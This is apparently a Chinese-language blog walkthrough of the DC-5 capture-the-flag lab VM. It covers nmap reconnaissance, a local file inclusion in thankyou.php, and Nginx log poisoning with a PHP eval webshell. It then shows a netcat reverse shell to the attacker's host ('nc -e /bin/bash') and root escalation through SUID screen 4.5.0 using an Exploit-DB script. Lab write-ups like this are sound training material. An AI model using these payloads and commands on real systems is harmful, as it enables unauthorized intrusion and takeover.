DC-5 靶机渗透测试:信息收集、Web 文件包含漏洞利用与 SUID 提权实战

DC-5 靶机渗透测试:信息收集、Web 文件包含漏洞利用与 SUID 提权实战
28.7的博客DC-5 靶机渗透测试报告
其他靶机以及下载
1. 信息收集
信息收集阶段主要通过工具确定靶机IP、开放端口及Web服务器类型,为后续渗透提供基础。
1.1 安装
1.1 确定靶机IP(arp-scan)
因使用PNET环境部署靶机,可快速定位DC-5靶机IP。通过arp-scan扫描局域网设备,确认靶机IP为 192.168.20.238。
1 | arp-scan -l |
1.2 端口与系统探测(nmap)
使用nmap探测靶机开放端口及服务版本,结果显示仅开放 80端口(HTTP) 和 22端口(SSH)。
1 | nmap -sV 192.168.20.238 |
1.3 Web服务器识别(Wappalyzer)
通过浏览器插件Wappalyzer分析Web服务,确认服务器为 Nginx,无其他明确框架信息。
2. Web渗透
Web渗透阶段重点挖掘交互功能漏洞,通过文件包含漏洞写入后门,最终获取初始Shell。
2.1 页面功能探测与漏洞推测
访问靶机Web页面(http://192.168.20.238),逐一测试各模块:
- 大部分模块为静态页面,无交互逻辑;
- 仅
concat模块包含一个与后端交互的表单。
进一步测试发现:页面footer区域的时间随刷新动态变化,推测footer通过文件包含方式加载(动态内容常由外部文件引入),存在文件包含漏洞可能性。
2.2 验证文件包含漏洞
对可能的文件包含参数(如filename、file)进行爆破,最终发现file参数有效:
- 当
file参数为空时,footer消失(证明参数控制文件加载); - 尝试包含系统敏感文件
/etc/passwd,成功读取内容,确认文件包含漏洞存在。
请求URL:
1 | http://192.168.20.238/thankyou.php?file=/etc/passwd |
2.3 日志包含写入后门
利用Nginx错误日志(路径/var/log/nginx/error.log)写入PHP后门:
- 构造包含PHP一句话木马的请求,触发Nginx错误(将木马写入错误日志):
1
http://192.168.20.238/thankyou.php?file=<?php @eval($_POST['cmd']);?>
- 访问日志文件验证木马是否写入,确认写入成功:
1
http://192.168.20.238/thankyou.php?file=/var/log/nginx/error.log
2.4 蚁剑连接与反弹Shell
蚁剑连接:
- 目标URL:
http://192.168.20.238/thankyou.php?file=/var/log/nginx/error.log - 连接密码(POST参数):
cmd - 成功连接,获取
www-data权限(低权限)。
- 目标URL:
反弹Shell(获取交互式终端):
- Kali端开启监听(6666端口):
1
nc -lvp 6666
- 蚁剑终端执行反弹命令:
1
nc -e /bin/bash 192.168.20.172 6666
- 成功反弹Shell,Kali端获取连接:
- 补全交互式终端(优化操作体验):
1
python -c 'import pty;pty.spawn("/bin/bash")'
- Kali端开启监听(6666端口):
3. 提权(SUID文件利用)
通过查找高权限SUID文件,利用已知漏洞获取root权限。
3.1 查找SUID文件
SUID文件允许普通用户以文件所有者(常为root)权限执行,是提权常用途径。执行命令查找所有SUID文件:
1 | find / -perm -u=s -type f 2>/dev/null |
发现关键文件:/bin/screen-4.5.0(screen工具,版本4.5.0,存在已知提权漏洞)。
3.2 搜索漏洞利用脚本(searchsploit)
使用searchsploit(Exploit-DB本地搜索工具)查找screen 4.5.0的漏洞脚本:
1 | searchsploit screen 4.5.0 |
返回两个有效脚本:
linux/local/41152.txt(漏洞说明与手动利用步骤)linux/local/41154.sh(自动化利用脚本,更高效)
脚本默认路径:/usr/share/exploitdb/exploits/
3.3 执行利用脚本获取flag
复制脚本到Web目录:将
41154.sh复制到Kali的/var/www/html目录(便于靶机下载):1
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /var/www/html/
靶机下载并执行脚本:
- 注意:蚁剑终端可能因字符集问题报错,建议在Kali反弹Shell或CMD中执行;
- 执行脚本后,自动获取root权限,并生成flag文件
thisistheflag.txt。
查看flag:
1
cat thisistheflag.txt
flag内容:
1 | 888b 888 d8b 888 888 888 888 |
4. 渗透总结
DC-5靶机渗透核心路径:信息收集(IP/端口)→ Web漏洞挖掘(文件包含)→ 日志包含写后门 → 反弹Shell → SUID文件提权(screen-4.5.0)→ 获取flag
关键在于文件包含漏洞的利用(日志写入后门)和SUID高权限工具的漏洞利用,属于典型的Web渗透+本地提权流程。















